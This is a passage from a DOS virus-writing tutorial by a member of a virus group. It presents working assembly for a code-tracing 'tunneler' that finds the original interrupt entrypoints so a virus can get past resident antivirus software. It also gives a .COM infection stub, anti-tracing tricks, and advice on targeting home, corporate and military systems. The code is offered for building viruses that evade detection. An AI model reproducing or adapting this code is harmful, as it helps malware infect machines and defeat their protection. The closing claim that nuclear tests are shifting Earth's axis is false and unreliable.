        shr dl, cl
        mov bx, [es:di+3]
        cmp ax, bx
        je _decode_equal
        add di, 5
        dec [es:cmp_loops]
        jnz word_do_cmp
        jmp decode_start
    word_next_first:
        add di, 3
        jmp decode_start

    _decode_equal: jmp decode_equal

    byte_entry:
        mov bl, [es:di]
        and al, bl
        inc di
    byte_do_cmp:
        mov dl, [es:di]
        and dl, 01111xb
        mov bl, [es:di+1]
        cmp al, bl
        je _decode_equal
        dec [es:cmp_loops]
        jz byte_next_first
        mov dl, [es:di]
        mov cl, 4
        shr dl, cl
        mov bl, [es:di+2]
        cmp al, bl
        je _decode_equal
        add di, 3
        dec [es:cmp_loops]
        jnz byte_do_cmp
        jmp decode_start
    byte_next_first:
        inc di
        inc di
        jmp decode_start
    table_decoder endp

        Our decoder turns out to be 216 bytes long, so, adding up both our decoder
    and complex mask table sizes we come out with just 469 bytes.  This may seem a
    mite bit large, considering the old method is 1 byte big (just an INC SI) but,
    at least we are safe from MOV instructions and the like, which all of the
    'lesser' code tracers are prone to.

        The code I've written is, well, fairly optimized but it I guess if you
    rewrote it you could squeeze more bytes out, however this one shall do for us.
    The problem with complex tables is that the code size needed to decode them
    increases with the space saved on the actual table itself, as the more space
    saved, the greater the complexity, the longer it takes to decode.  Making the
    table more complex and shaving 200 bytes off of the table size, could easily
    add 200 bytes to the decoder size making your effort fruitless, and simplifying
    the table will increase total size more than that which will be made up by
    reduced decoder size.

        Alright, so, we have 469 bytes we might want to compress this down a bit
    further, how would we do this?  To put it simply, we'd need a complete rewrite
    with something OTHER than a complex mask table, ie, totally changing the
    definition to something new and exciting.  I have a few ideas of this, and
    maybe it can get our total size down to 300 bytes or so, around that margin,
    above, or below, I'm not sure as I haven't coded it/tried it out yet.  If any
    of my ideas work out you'll see them in document three as we need a similar
    system for handling strange opcodes when you learn about PSP tunneling.  But
    don't hold your breath ;)

    -----------------------------------------------------------------------------
    Section 6:  Algorithms for our code tracing engine
    -----------------------------------------------------------------------------
        Well, now we have to talk about algorithms... when we write our engine how
    exactly it is going to work.  Don't just be thinking there's only one main way
    of doing things... as there are many ;)  The main differences come in how you
    treat conditional jumps, which opcodes you follow or ignore, and any extra
    features you include to enhance the capability of avoiding crashes.

        There are 4 different methods of handling conditional jumps (none of which
    we'll be using, hehehe).  Traditional tracers either ignore them, follow ALL of
    them, alternate between following one and skipping one, or alternatively, they
    just randomly chose to follow or ignore each jump as it is encountered.  By
    being able to toggle between the different methods in your scanner, you can
    setup a routine that calls the tracer to retrace the interrupt with each
    methodology, hoping that at least one will work.  To put it simply, there is a
    variale which the tracer uses to know which type of handling it uses for
    conditional jumps, which is set constantly during the first trace.  Then, the
    tracer updates this variable to the next tracing method, and runs through the
    complete tracing pass again, and so on until there are no passes left, or a
    pass is successfull.  This isn't too hard, and is a fairly stable approach to
    the conditional jump problem.

        However, this is a fairly haphazard approach, and although working
    extremely well in some cases, it will fail horribly in others.  Also, it is
    very slow, since we have to retrace the entire interrupt chain numerous times,
    and due to the random type of handling (choosing what to do with each
    conditional jump as it comes along, one of the 4 methods of conditional jump
    handling), we could trace through properly one day, but not the next.  Either
    way, handling conditional jumps is a *BIG* problem for tracers, so we need the
    *GREATEST* reliability possible, and as such, we will not use any of these
    methods.

        No, the method we'll use is far more eloquent :)  First of all, we make
    IRET/RETN/RETF all use the very same RETF code... and CALL/CALLFAR both use the
    same CALLFAR code.  The reason we save the full DS:SI even for near calls will
    become apparent later.  Anyway, since we always save DS:SI, we can abandon all
    our different RET code and just have one handler which always pops DS:SI.  On
    top of this, we setup a counter variable (initialized to 0300H on entry to the
    engine), which is decremented on each instruction that is traced.  Whenever we
    see a CALL, we save this instruction counter on the stack, and whenever we see
    a RET, we pop the value back into the instruction counter variable.  Now that
    you know that, you can also know that we will trace conditional jumps just as
    if they were a CALL instruction.  Also, as a last resort, we have a global
    counter variable that we NEVER SAVE, we only increment it, and if it reaches a
    certain value, we know we've been tracing for way too long and we abort the
    trace.

        You should see where this is leading.  With one constant length of values
    pushed on the stack (3 words - instruction counter, DS, SI) it is harder to
    confuse our tracer's stack and screw us over.  Also, with a RETF every time our
    counter flips over... we are able to trace EVERY possible path of execution
    flow in the interrupt handler, giving us *THE* most reliable tracing method
    available, while still maintaining the integrity of our counter and is also a
    good mini-failsafe so if we trace into the wrong part of memory we won't die.
    As you know, when the very first counter variable runs out... the original
    values we pushed onto the stack in our tracer setup will be popped off,
    changing our stack to the value the stack was when we first entered the tracing
    engine... trigering the code which stops our stack from starving to death,
    aborting the trace :)

        Okay, so, now we only have one more thing to deal with that you haven't
    learnt about yet.  Take a look at the code shown below (this is taken from...
    part of the interrupt code in SMARTDRV I think, somewhere along the INT 13
    chain).  It is *REAL LIFE* stuff, so, be warned, it's potent :)

    185D:0156 8BB73601      MOV     SI,[BX+0136]
    185D:015A 85F6          TEST    SI,SI
    185D:015C 740A          JZ      0168
    185D:015E 3B843801      CMP     AX,[SI+0138]
    185D:0162 7304          JNB     0168
    185D:0164 8BDE          MOV     BX,SI
    185D:0166 EBEE          JMP     0156
    185D:0168 89BF3601      MOV     [BX+0136],DI
    185D:016C 89B53601      MOV     [DI+0136],SI
    185D:0170 C3            RET

        Okay, so, what's such a big deal about this you ask?  Well, it puts our
    tracer into an infinite loop (that is, until our global instruction counter
    runs out or the stack runs out and trips our anti-crash code).  The answer to
    our problem is simple.  Whenever we save our counter, DS, and SI on the stack,
    we check to see if the DS:SI is already ON the stack, and if it is, we simply
    don't follow the call/conditional jump, skipping it instead.

        So, now you know how we're going to handle CALL/IRET/conditional jumps, and
    you also know about all the anti-crash code we're going to include, and since
    you already know about all the other opcodes we have to deal with, and
    everything you'll ever need to know about coding the tracer, it's time to
    actually go ahead and write it!  These are the return codes:

        BL=0            DS:SI holds original interrupt entrypoint
        BL=1            DS:SI holds the instruction which completed our trace
                              through the interrupt chain (not an error)
        BL=2            DS:SI holds last instruction executed before global counter
                              ran out
        BL=3            DS:SI holds last CALL which caused our stack to overflow

    stack_top     dw 0      ; do not POP past this point
    stack_bottom  dw 0      ; do not PUSH past this point
    override      db 02eh   ; segment overrides variable
    loop_counter  dw 0300h  ; how many instructions (loops) we've processed
    first_mcb     dw 0      ; abort when our segment is below this value (INT 21)
    temp_ip       dw 0      ; temporary storage for stack searching
    temp_store    dw 0, 0   ; temporary storage for stack searching
    global        dw 0      ; global abort counter

    scan_setup:
        mov [cs:stack_top], sp
        mov ax, cs
        mov bx, ss
        cmp ax, bx
        je stack_fixup
        mov ax, 020h
        jmp stack_setup
    stack_fixup:
        lea ax, [offset program_end]
        add ax, 020h
    stack_setup:
        mov [cs:stack_bottom], ax
        mov [cs:loop_counter], 0300h
        mov ah, 052h
        int 021h
        mov ax, [es:bx-2]
        mov [cs:first_mcb], ax
        mov ax, 03521h
        int 021h
        push es
        pop ds
        xchg bx, si
        xor ax, ax
        push ax
        push ax
        push ax
    scan_begin:
        mov [cs:override], 02eh
        mov ax, ds
        cmp ax, [cs:first_mcb]
        jae scan_prefix
        mov bl, 0
        mov sp, [cs:stack_top]
        ret
    scan_prefix:
        dec [cs:loop_counter]
        jz do_ret_far
        dec [cs:global]
        jz global_error
        cmp si, 0fffah
        jae do_ret_far
        mov ax, [si]
        push ax
        and al, 011100111xb
        cmp al, 000100110xb     ; check for segment overrides
        pop ax
        je prefix_found
        push ax
        and al, 011110000xb
        cmp al, 001110000xb     ; check for conditional jump series
        pop ax
        jne scan_ret_opcode
    do_conditional_jump:
        mov ax, si
        inc ax
        inc ax
        call call_finish
        jmp do_jump_short
    prefix_found:
        mov [cs:override], al
        inc si
        jnc scan_prefix
        jmp do_ret_far
    global_error:
        mov bl, 2
        mov sp, [cs:stack_top]
        ret

    scan_ret_opcode:
        cmp al, 0cfh
        je do_ret_far           ; check for IRET
        push ax
        and al, 011110110xb
        cmp al, 011000010xb     ; check for RET[N|F]
        pop ax
        jne scan_flow_opcodes
    do_ret_far:
        mov ax, sp
        add ax, 6
        cmp ax, [cs:stack_top]
        jae scan_root_exit
        pop si
        pop ds
        pop [cs:loop_counter]
        jmp scan_begin
    scan_root_exit:
        mov bl, 1
        mov sp, [cs:stack_top]
        ret

    do_jump_short:
        mov al, [si+1]
        cbw
        add si, ax
        inc si
        inc si
        jmp scan_begin
    do_jump_near_immed:
        add si, [si+1]
        add si, 3
        jmp scan_begin
    do_jump_far_immed:
        mov ax, [si+3]
        mov si, [si+1]
        mov ds, ax
        jmp scan_begin
    do_jump_near_mem:
        cmp [cs:override], 02eh
        jne do_ret_far
        mov si, [si+2]
        mov si, [si]
        jmp scan_begin
    do_jump_far_mem:
        cmp [cs:override], 02eh
        jne do_ret_far
        mov si, [si+2]
        mov ax, [si+2]
        mov si, [si]
        mov ds, ax
        jmp scan_begin

    scan_flow_opcodes:
        cmp al, 0ebh
        je do_jump_short
        cmp al, 0e9h
        je do_jump_near_immed
        cmp al, 0eah
        je do_jump_far_immed
        cmp al, 0ffh
        jne scan_flow_opcodes_next
        push ax
        and ah, 0110000xb
        cmp ah, 0100000xb
        pop ax
        jne scan_flow_opcodes_next
        push ax
        and ah, 011000111xb
        cmp ah, 000000110xb
        pop ax
        jne _do_ret_far         ; weird JMP/CALLs we can't handle (which use
                                ; registers, weird offset bytes, etc, etc, etc)
        cmp ah, 026h
        je do_jump_near_mem
        cmp ah, 02eh
        je do_jump_far_mem
        cmp ah, 016h
        je do_call_near_mem
        cmp ah, 01eh
        je do_call_far_mem
    scan_flow_opcodes_next:
        cmp al, 0e8h
        je do_call_near_immed
        cmp al, 09ah
        je do_call_far_immed
    scan_unknown_opcodes:
        call table_decoder
        cmp bx, 0
        jne _do_ret_far
        add si, ax
        jc _do_ret_far
        jmp scan_begin
    _do_ret_far: jmp do_ret_far

    do_call_near_mem:
        call call_setup
        add ax, 4
        jc _do_ret_far
        call call_finish
        jmp do_jump_near_mem
    do_call_near_immed:
        call call_setup
        add ax, 3
        jc _do_ret_far
        call call_finish
        jmp do_jump_near_immed
    do_call_far_immed:
        call call_setup
        add ax, 5
        jc _do_ret_far
        call call_finish
        jmp do_jump_far_immed
    do_call_far_mem:
        call call_setup
        add ax, 4
        jc _do_ret_far
        call call_finish
        jmp do_jump_far_mem

    call_setup:
        pop bx
        mov ax, sp
        sub ax, 6
        cmp ax, [cs:stack_bottom]
        jbe _stack_error
        mov ax, si
        push bx
        ret

    _stack_error:
        mov bl, 3
        mov sp, [cs:stack_top]
        ret

    call_finish:
        pop [cs:temp_ip]
        mov [cs:temp_store], ax
        mov [cs:temp_store+2], ds
        push ss
        pop ds
        xchg si, bp
        mov si, sp
        mov bx, si
    call_loop:
        lodsw
        cmp ax, [cs:temp_store]
        jne call_nomatch
        lodsw
        cmp ax, [cs:temp_store+2]
        je call_match_found
    call_nomatch:
        add bx, 6
        mov si, bx
        cmp si, [cs:stack_top]
        jb call_loop
    call_exit:
        push [cs:loop_counter]
        mov ax, [cs:temp_store+2]
        push ax
        push [cs:temp_store]
        push [cs:temp_ip]
        xchg bp, si
        mov ds, ax
        ret
    call_match_found:
        mov si, [cs:temp_store]
        mov ax, [cs:temp_store+2]
        mov ds, ax
        jmp scan_begin

    program_end:

        Yay!  We turned out to be 528 bytes long (with optimisations... this could
    become quite a bit smaller).  With the added size of the decoder and complex
    mask table, we turn out to be 997 bytes long!  We fit into 1k, which was my
    secret goal for the whole document :)  Of course, with optimizations I'm sure
    you could get this down to at least 700 bytes small.

        And how well do we work?  Well, so far, with all my tests, this has
    tunneled INT 21 properly under ANY working combination of QEMM/SoftIce (2.8,
    dos version)/HIMEM/EMM386/TBAV resident software/F-PROT's VIRSTOP, as well as
    my own anti-single-step-tunneler TSR code (hehehe, you can't be too carefull).
    Strangely enough, it won't tunnel past VSHIELD by mcafee, only the lamest
    crappiest most sickening AV product on the planet!!!!  SHRIEK!

        However, with INT 13 tunneling, we run into serious problems.  Under
    DESQView (with or without anything else loaded), our global counter runs out...
    under DESQView+QEMM+SMARTDRV, we get a return value but it won't work properly.
    Under plain DOS, with nothing loaded, we will tunnel okay, and the same if we
    run just QEMM or EMM386, -UNLESS- 'SMARTDRV' is loaded, in which case we will
    never tunnel properly.

        To make things even stranger, some people are telling me that this tracer
    is giving them completely different results than what I've said!  For instance,
    they say it tunnels both i13 and i21 correctly... some say it tunnels i13
    correctly but not i21... etc etc.  Why is this so?  Well, to put it simply, I
    have no idea ;)  I think the tracer itself has some inbuilt bugs... especially
    with the recursion... but... I have not been able to track anything down :(

    -----------------------------------------------------------------------------
    Section 7:  Additional notes on CMT's
    -----------------------------------------------------------------------------
        This section is about notes on CMT's... problems you need to take into
    consideration and also IDEAS about how you can use them.  No code is included
    in this section, as it's all theory, you can develop your own code.  Hey, your
    mommy may hold your pee-pee when you go to the toilet but that way you'll never
    learn how to hold your pee-pee for youself... I'm throwing you into shark
    infested waters so you can learn how to swim, or die ;)  Just don't piss
    everywhere, okay?

        Okay, well, first things first, complex mask tables aren't perfect, and
    they are actually quite dangerous to our tracer if used incorrectly.  Your
    tracer is pretty much just as good as its complex mask table.  If your complex
    mask table misses even *ONE* instruction, then your WHOLE trace will be totally
    stuffed up.  The reason for this is that after you skip the first opcode
    (because of the error returned by the decoder)... the decoder handles the NEXT
    instruction, which it gives a value back for, such as 4 thinking it is a proper
    instruction, and this continues on its misaligned path.  You can see how this
    destroys our trace, even moreso than if we ditched CMT's and used INC SI.

        The tracer above, however, uses the error codes from the decoder to decide
    what to do.  If an unknown instruction is found, then we skip this path and try
    the last saved DS:SI value on the stack.  This is better than following through
    on our dangerous course, however, if EVERY path of execution goes through this
    bit of code, we might have been better off tracing through and ignoring the
    error.  Maybe a more stable method, would be to trace up to the next 'important
    instruction' using the INC SI method, and then turn the decoder back on.  Of
    course, then we could be fooled using a MOV instruction ;)

        Both ways are flawed and there is nothing you can do about it except try to
    include as much into your mask table as possible.  For instance, my mask table
    needs addition of 186+ instructions, as well as any 8088 instructions I may
    have missed (hopefully not many... but I bet there's just one or two, I'm not
    perfect yaknow).  Also, in TBAV and many other AV products, 386+ only code is
    becoming more common, which may cause problems for our CMT.  However, luckily,
    due to the cruddy way the TBAV drivers load up in memory, our tracer tunnels
    through them before it reaches these 386 opcodes ;)  This could change in
    upcoming versions of TBAV, however.

        .---------------------.
        | Evolution and CMT's |
        '---------------------'
        This is a little off-topic, since this is a document on tunneling, not
    evolution code, but, either way, since I gave you the CMT (complex mask table),
    I should give you some more hints on helping it work for YOU! Heck, they're
    bloody big, you might as well get the most you can out of them, and so, I
    created this mini-section ;)

        It's easy to include evolutionary code in your virus ;)  Imagine that all
    your viruses use complex mask tables for one reason or another, and each time
    you write a virus you include a more up to date, smaller, faster, etc, complex
    mask table.  Now, in every virus you write, you set it up so that in each file
    you infect, the .COM files have the initial instructions like:

    .COM file:
        org 0100h
            jmp VIRUS_BEGIN       ; bootstrap virus code
            db 'CMT'              ; marker
            dw (delta_offset+offset CMT_HEADER)
            ... rest of .COM file ...
        VIRUS_BEGIN:
            ... VIRUS ...

        If you were infecting EXE's too, you could save the offset of the CMT in
    the file at a specific byte somewhere, or store the information in the header,
    etc, wherever suits you best, but for simplicity, I'll only give examples for
    .COM ;)  Anyway, you should see a good idea solidifying here ;)  For each virus
    you write, it uses a different version of complex mask table.  Every virus you
    write, also has the ability to grab the offset in a file of that complex mask
    table by looking at the word value after the 'CMT' marker.  Then, it can index
    the header to the CMT which looks like this:

    CMT_HEADER:
        VERSION: dw 0
        LENGTH:  dw (offset instruction_table_end-offset instruction_table_start)
    instruction_table_start:
        ... CMT goes here ...
    instruction_table_end:

        VERSION could simply be a number, such as if you're incrementing it each
    time you add... else it could be different and set out into bitfields... ie:
    386+ opcodes, size optimized, speed optimized, (revision byte), etc.  After
    this, inside your virus, you can include code to scan other files as it infects
    them for the marker of another variant of your virus, and make decisions about
    wether it should upgrade its complex mask table to the new version.  For
    instance, if running on an XT computer with version 1 of a 386+ mask table, it
    might find a variant running with an 8088+ speed/size optimized version... so
    it upgrades ;)

    -----------------------------------------------------------------------------
    Section 8:  Flaws in code tracing
    -----------------------------------------------------------------------------
        Code tracers have never been too popular, mostly because of the flaws in
    the actual design of the code tracer itself in not being able to follow through
    all types of execution flow, and as such, you'd be hard pressed to find any
    decent virus using code tracing in the form I have shown you here.  However,
    code tracing does have OTHER uses, a few of which you'll learn about in the
    next document in this series.  Until then, it's time to delve into how certain
    code constructs can fool tracers.

        .---------------------------.
        | Anti-tracing with opcodes |
        '---------------------------'
        The number one way to beat a tracer, is to throw in unusual opcodes into
    the code you suspect will be traced by the tracer.  To beat the simpler
    tracers, all that is needed is a MOV instruction with the right values after it
    such as MOV AL, 0E9H!  However, since tracers should now be coming out with
    proper opcode identification schemes such as complex mask tables, such a code
    fragment will probably not suffice.  This is where 286+, 386+, and co-processor
    instructions can help out.  For example, the currently supplied complex mask
    table, while (hopefully) handing the simpler co-processor instructions, will
    choke on a simple MOV EAX, 0E9H!

        .----------------------------------.
        | Dealing with anti-tracer opcodes |
        '----------------------------------'
        Anti-tracing via strange opcode isn't very likely, and won't always work
    anyway.  By adding in instructions which will only work on a specific series of
    processor, AV products cut out various users from their potential customer
    market, not that they'd use such a nonsensical section of anti-tracer code in
    the first place.  Also, it wouldn't be too hard to upgrade the complex mask
    table to handle 386+ instructions and the like, and the same should be true for
    other opcode identification schemes.

        .-------------------------------------.
        | Anti-tracing with conditional jumps |
        '-------------------------------------'
        An easy way to fool normal tracers would be a simple section of code like
    that shown below.  This takes advantage of the flaw in tracers that prevents it
    from actually knowing which conditional jumps to take.  Only the simplest of
    tracers would be caught by THIS check... and our tracer will definately bypass
    it.  However, long series of conditional jumps pose a very real threat to
    tracers which don't take appropriate precautions.

            clc
            jc scanners_here
            stc
            jc scanners_not_here
        scanners_left_here:
            ...
        scanners_not_here:
            ...

        .--------------------------------.
        | Dealing with conditional jumps |
        '--------------------------------'
        You don't really need to worry about conditional jumps, as the tracer I
    showed you how to write in the last section deals with them easily.  Even
    never-ending conditional jumps are no threat to our tracer, as it has been
    built to handle all conditional jump conditions with the most robust error
    checking system I could think of.

        .----------------------------------.
        | Anti-tracing with spaghetti code |
        '----------------------------------'
        The number one way to beat code tracing is simply using confusing code.
    For example, hiding bits of code in interrupt handlers, using interrupts to get
    work done, calling previous interrupt handlers in strange ways, messing with a
    code tracer's stack, etc, will all work.  Even using null registers in CALL
    instructions and modifying code on the fly will work well.  There is no defense
    against complex code.  Here are a few examples:

            lea ax, [go_here]
            jmp ax                  ; Using a register for a jump, scanners chuck
        go_here:
            lea ax, [go_here_next]
            mov [cs:go_here_data], ax
            jmp [cs:go_here_data]   ; Flow modification on the fly
        go_here_data dw 0
        go_here_next:
            mov [cs:go_here_data], 0
                                    ; Cover our tracks

        .--------------------------------------.
        | Anti-tracing with stack manipulation |
        '--------------------------------------'
        Stack manipulation is also a way to fool tracers.  For example, we save the
    IP or CS:IP of our destination on the stack, and issue a RETN/RETF :)  This is
    generally bad news for scanners that will become confused by the RETN/RETF.
    There is no real solve for this, however, the problem could be slightly
    alleviated by some code I'll give you in document 3 ;)

            mov ax, offset i_wanna_go_here
            push ax
            ret
            jmp far 0:0         ; Just in case we're dealing with a stupid scanner
                                ; like Khontarks which doesn't recognize the RET
        i_wanna_go_here:
            ...

    -----------------------------------------------------------------------------
    Section 9:  How usefull are code tracers?
    -----------------------------------------------------------------------------
        Code tracers are of varying usefullness.  Before you start coding one of
    your own for use in your viruses, you have to compare its good and bad points
    against the other tunneling technology you have already learnt about, single
    step tunneling.

        Single step tunnelers are small, reliable, but detectable.  Code tracing
    on the other hand is large, unreliable, and undetectable.  The size however,
    depends on how much reliability you want, as you can just totally ditch my
    complex mask table definitions and decrease the total codesize to something
    close to the size of a decent single step handler by adding in the 'INC SI'
    instruction.

        This still hasn't answered your question right?  Well, here's something for
    you to think about.  Where are you planning for your virus to spread?  If it's
    going to be just crappy home computers, what do you think is the percentage of
    them running software able to detect single step tunnelers?  I heard the
    percentage is VERY small, as most people depend upon SHIT AV software such as
    SCAN by mcafee and NAV by symantec.  This means, the instances of you being
    caught are far outweighed by the extra computers you are going to infect using
    original interrupt entrypoints.

        However, say you're infecting a more 'up-market' computer system, such as a
    large networked company.  This company may be your only target, or one of the
    main ones, and ANY detection of your virus on the system would TOTALLY screw
    over your plans.  In an instance such as this, you'd use a code tracer, since
    not being detected is a VERY high priority.

        Then again, if this place you were tunneling was *VERY* high security, such
    as REALLY big badass corporations or military bases, etc (hehehe), then you'll
    be wanted BOTH *HIGH reliability* and undetectability of your tunneler. This is
    because code tracing does not always find the original interrupt entrypoint,
    and if you don't have that, you can't bypass AV software in memory, meaning
    your virus will be detected.  Meanwhile, you can't use single stepping because,
    quite frankly, it will be detected by the very AV software you need to bypass.

        What would you do in such a situation?  Don't fret!  There's two more
    documents left in this series remember?  You have *MUCH* to learn before you
    start aiming so high as defense networks!  Your best bet now is to simply wait
    for the other two documents and read them before adding the tunneling code into
    your virus :)

        One thing to remember, is that no matter how good anti-tracing code is in
    an AV tsr... it doesn't matter.  Although tracers have flaws, they have one
    major advantage over conventional single step tunneling techniques, they cannot
    be detected.  This means that, even if we DON'T find our original interrupt
    entrypoint from within our tracer, it doesn't matter, our presence, as far as
    AV software is concerned, is still concealed, which is, in many cases, very
    important.

        Alternatively, you can use a combination of BOTH single stepping and code
    tracing.  For instance, you could tunnel in a certain distance (before any
    errors start coming up, but just after certain AV software hooks), and then
    start the single step routine.  Or you could simply use the single step routine
    if your tracing routine was unsucessfull.  Heck, you could make a SUPER
    tunneling virus, which uses every type of tunneling known to man (shown in all
    of my 4 documents, hehehe) one after the other, until it grabs the original
    entrypoint, starting with the undetectable ones, and going down to single step
    tunnelers (each using a different method of finding the original interrupt
    entrypoint).  Yay!

    -----------------------------------------------------------------------------
    Section 10:  Conclusion
    -----------------------------------------------------------------------------
        As you can see, code tracing has both benefits over other methods, and
    pitfalls as well.  In the next document in our series, you'll add to your
    tunneling method repetoir with many other miscellaneous methods, which have
    more reliability than code tracing with the same benefit of undetectability.
    You should keep the idea of complex mask tables fresh in your mind, as they'll
    make a comeback (either in the same format or a new and improved version) in
    the next document.

        Once again, to round of the document it's suggested you read and try out
    the example program I wrote.  It is basically just everything you've learnt so
    far, with all the code from the document in a tunneling program so you can
    actually see the results of your tunnel.  Code tracing is not affected by
    DESQview (except for more unreliability) so no checks for it are included in
    the program.  With my version of DESQview, the code tracer handles it fine
    though :)  How well your tunnelers work under DESQview is a good indicator of
    how they'll work in the wild, as DESQview uses some *VERY* tricky and spaghetti
    like code in its interrupt handlers.

        So now that you know all there is to code tracers, I hereby dub thee a
    human.  Yes, you have evolved past the stage of safe and pleasant marsupial
    like interaction with the environment to the supposedly 'better' stage of
    manipulating the environment to get what you want without regards to its
    health, slowly killing the planet and all other life on it.  Congratulations,
    you can now contribute your filth to human society.  Did you know that nuclear
    test are SHIFTING the axis of the Earth slowly?  This means that in a few years
    time, the earth will be tilted differently, which means all the seasons are
    going to change, the polar icecaps are going to melt, and basically, we're all
    going to die.  Now don't you wish you were a cockroach?

        Anyway, once again, I hope you enjoyed this document as much as I hated
    writing it.  I thought the last document was a fucker... but this was even
    worse.  Do you have ANY idea how long it took me to get complex mask tables
    working, let alone the example tables themselves and all the tracing code?
    This document went through 3 complete rewrites, 5 major rewrites, and 3 main
    beta tests!  The example CMT went through 2 complete rewrites and multiple
    seperate updates.  The things I do for you people.

                                        Methyl [Immortal Riot/Genesis]